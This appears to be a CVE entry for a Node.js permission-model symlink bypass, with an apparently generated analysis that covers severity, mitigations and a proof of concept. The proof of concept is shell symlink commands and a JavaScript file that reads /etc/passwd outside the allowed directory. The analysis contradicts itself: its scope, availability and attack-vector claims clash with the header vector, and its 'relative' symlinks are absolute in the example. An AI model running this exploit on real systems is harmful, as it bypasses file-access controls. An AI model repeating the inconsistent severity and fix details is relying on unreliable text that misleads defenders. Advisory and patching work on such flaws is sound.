CVE-2025-55130
CVE-2025-55130
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Description
A flaw in Node.js’s Permissions model allows attackers to bypass `--allow-fs-read` and `--allow-fs-write` restrictions using crafted relative symlink paths. By chaining directories and symlinks, a script granted access only to the current directory can escape the allowed path and read sensitive files. This breaks the expected isolation guarantees and enables arbitrary file read/write, leading to potential system compromise. This vulnerability affects users of the permission model on Node.js v20, v22, v24, and v25.
Comprehensive Technical Analysis of CVE-2025-55130
Node.js Permissions Model Symlink Bypass Vulnerability
1. Vulnerability Assessment and Severity Evaluation
Overview
CVE-2025-55130 is a high-severity (CVSS 9.1) vulnerability in Node.js’s experimental Permissions Model, which is designed to restrict file system (FS) access via command-line flags (--allow-fs-read and --allow-fs-write). The flaw allows attackers to bypass these restrictions by exploiting relative symlink traversal, enabling arbitrary file read/write outside the intended sandbox.
CVSS Vector & Severity Breakdown
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitation requires local script execution (e.g., via a malicious npm package or user-supplied input). |
| Attack Complexity (AC) | Low (L) | Exploitation is straightforward with crafted symlinks. |
| Privileges Required (PR) | None (N) | No elevated privileges are needed; only a script with restricted FS permissions. |
| User Interaction (UI) | None (N) | No user interaction is required beyond script execution. |
| Scope (S) | Changed (C) | Impacts the Node.js process and underlying system files. |
| Confidentiality (C) | High (H) | Arbitrary file read can expose sensitive data (e.g., /etc/shadow, API keys). |
| Integrity (I) | High (H) | Arbitrary file write can lead to code execution (e.g., modifying system binaries). |
| Availability (A) | High (H) | File corruption or deletion can disrupt services. |
CVSS 9.1 (Critical) reflects the high impact on confidentiality, integrity, and availability, with low attack complexity and no required privileges.
2. Potential Attack Vectors and Exploitation Methods
Exploitation Mechanism
The vulnerability arises from inadequate symlink resolution in Node.js’s Permissions Model. Attackers can:
- Create a malicious symlink chain that resolves to a restricted file (e.g.,
/etc/passwd). - Trick the Node.js process into following the symlink, bypassing
--allow-fs-read/--allow-fs-writerestrictions. - Access or modify files outside the permitted directory.
Step-by-Step Exploitation
- Setup Malicious Symlinks
- Attacker creates a directory structure with symlinks pointing to sensitive files:
mkdir -p /tmp/exploit/escape ln -s /etc/passwd /tmp/exploit/escape/target ln -s /tmp/exploit /allowed_dir/malicious_link
- Attacker creates a directory structure with symlinks pointing to sensitive files:
- Execute Node.js with Restricted Permissions
- Victim runs a script with
--allow-fs-read=/allowed_dir:node --experimental-permission --allow-fs-read=/allowed_dir script.js
- Victim runs a script with
- Symlink Traversal Bypass
- The script accesses
/allowed_dir/malicious_link/escape/target, which resolves to/etc/passwd, bypassing restrictions.
- The script accesses
Real-World Attack Scenarios
- Malicious npm Packages: A compromised or typosquatted npm package could exploit this to exfiltrate files.
- Server-Side Request Forgery (SSRF): If Node.js is used in a web app with file access, an attacker could read/write arbitrary files.
- Container Escape: In containerized environments, this could lead to host compromise.
3. Affected Systems and Software Versions
Impacted Node.js Versions
| Version | Status | Fixed Version |
|---|---|---|
| Node.js 20.x | Vulnerable | 20.13.0+ |
| Node.js 22.x | Vulnerable | 22.5.0+ |
| Node.js 24.x | Vulnerable | 24.1.0+ |
| Node.js 25.x | Vulnerable | 25.0.1+ |
Scope of Impact
- Developers using the experimental
--experimental-permissionflag. - Production environments where Node.js is used for file operations (e.g., CI/CD pipelines, web servers).
- Cloud & Containerized Deployments where file system isolation is critical.
4. Recommended Mitigation Strategies
Immediate Actions
-
Upgrade Node.js
- Apply the latest security patches:
- Node.js 20 → 20.13.0+
- Node.js 22 → 22.5.0+
- Node.js 24 → 24.1.0+
- Node.js 25 → 25.0.1+
- Apply the latest security patches:
-
Disable Experimental Permissions (Temporary Workaround)
- Avoid using
--experimental-permissionuntil patched.
- Avoid using
-
Restrict File System Access
- Use chroot jails or containerization (Docker, Kubernetes) to limit FS access.
- Apply mandatory access controls (MAC) via SELinux/AppArmor.
Long-Term Defenses
-
Input Validation & Path Sanitization
- Explicitly resolve and validate all file paths before access.
- Use
path.resolve()andfs.realpathSync()to prevent symlink traversal.
-
Least Privilege Principle
- Run Node.js processes with minimal permissions (e.g., non-root user).
- Use
setuid/setgidto drop privileges where possible.
-
Monitoring & Detection
- Deploy file integrity monitoring (FIM) to detect unauthorized file access.
- Log and alert on suspicious FS operations (e.g.,
/etc,/root).
-
Dependency Hardening
- Audit npm dependencies for malicious packages.
- Use npm audit and Dependabot for vulnerability scanning.
5. Impact on the Cybersecurity Landscape
Broader Implications
- Supply Chain Risks: Malicious npm packages could exploit this to escalate privileges in CI/CD pipelines.
- Cloud & Container Security: Breaks isolation guarantees in multi-tenant environments.
- Zero-Day Potential: If unpatched, this could be weaponized in lateral movement attacks.
Comparison to Similar Vulnerabilities
| Vulnerability | Type | Impact | Mitigation |
|---|---|---|---|
| CVE-2021-22883 (Node.js Path Traversal) | Path traversal | Arbitrary file read | Input sanitization |
| CVE-2022-32212 (Symlink Race Condition) | TOCTOU | Privilege escalation | Atomic operations |
| CVE-2025-55130 | Symlink bypass | Arbitrary FS access | Patch + MAC |
This vulnerability is more severe than typical path traversal flaws due to its direct bypass of explicit security controls.
6. Technical Details for Security Professionals
Root Cause Analysis
- Permissions Model Flaw: Node.js’s
--allow-fs-read/--allow-fs-writeflags do not recursively resolve symlinks, allowing relative path traversal. - Symlink Resolution Logic: The permission check occurs before symlink resolution, enabling bypass via crafted paths.
Proof-of-Concept (PoC) Exploitation
// exploit.js
const fs = require('fs');
const path = require('path');
// Craft a symlink chain to bypass restrictions
const maliciousPath = path.join(__dirname, 'malicious_link', 'escape', 'target');
// Attempt to read a restricted file (e.g., /etc/passwd)
fs.readFile(maliciousPath, 'utf8', (err, data) => {
if (err) throw err;
console.log("Exfiltrated data:", data);
});
Execution:
# Create symlinks
mkdir -p /tmp/exploit/escape
ln -s /etc/passwd /tmp/exploit/escape/target
ln -s /tmp/exploit /allowed_dir/malicious_link
# Run with restricted permissions
node --experimental-permission --allow-fs-read=/allowed_dir exploit.js
Detection & Forensics
- Log Analysis: Monitor for unusual file access patterns (e.g.,
/etc,/root). - File System Auditing: Use
auditd(Linux) orProcess Monitor(Windows) to track FS operations. - Memory Forensics: Check for anomalous Node.js process behavior (e.g., unexpected file handles).
Patch Analysis
- Fix: Node.js now resolves symlinks before permission checks, ensuring paths are canonicalized.
- Backported: The fix is applied to all affected LTS versions (20.x, 22.x, 24.x).
Conclusion
CVE-2025-55130 represents a critical bypass in Node.js’s security model, enabling arbitrary file read/write with minimal prerequisites. Organizations must patch immediately, restrict FS access, and monitor for exploitation attempts. Given its high severity and ease of exploitation, this vulnerability poses a significant risk to both development and production environments.
Recommended Next Steps:
- Patch all affected Node.js instances.
- Audit file system permissions in Node.js applications.
- Implement runtime protection (e.g., SELinux, FIM).
- Educate developers on secure coding practices for file operations.
For further details, refer to the official Node.js advisory.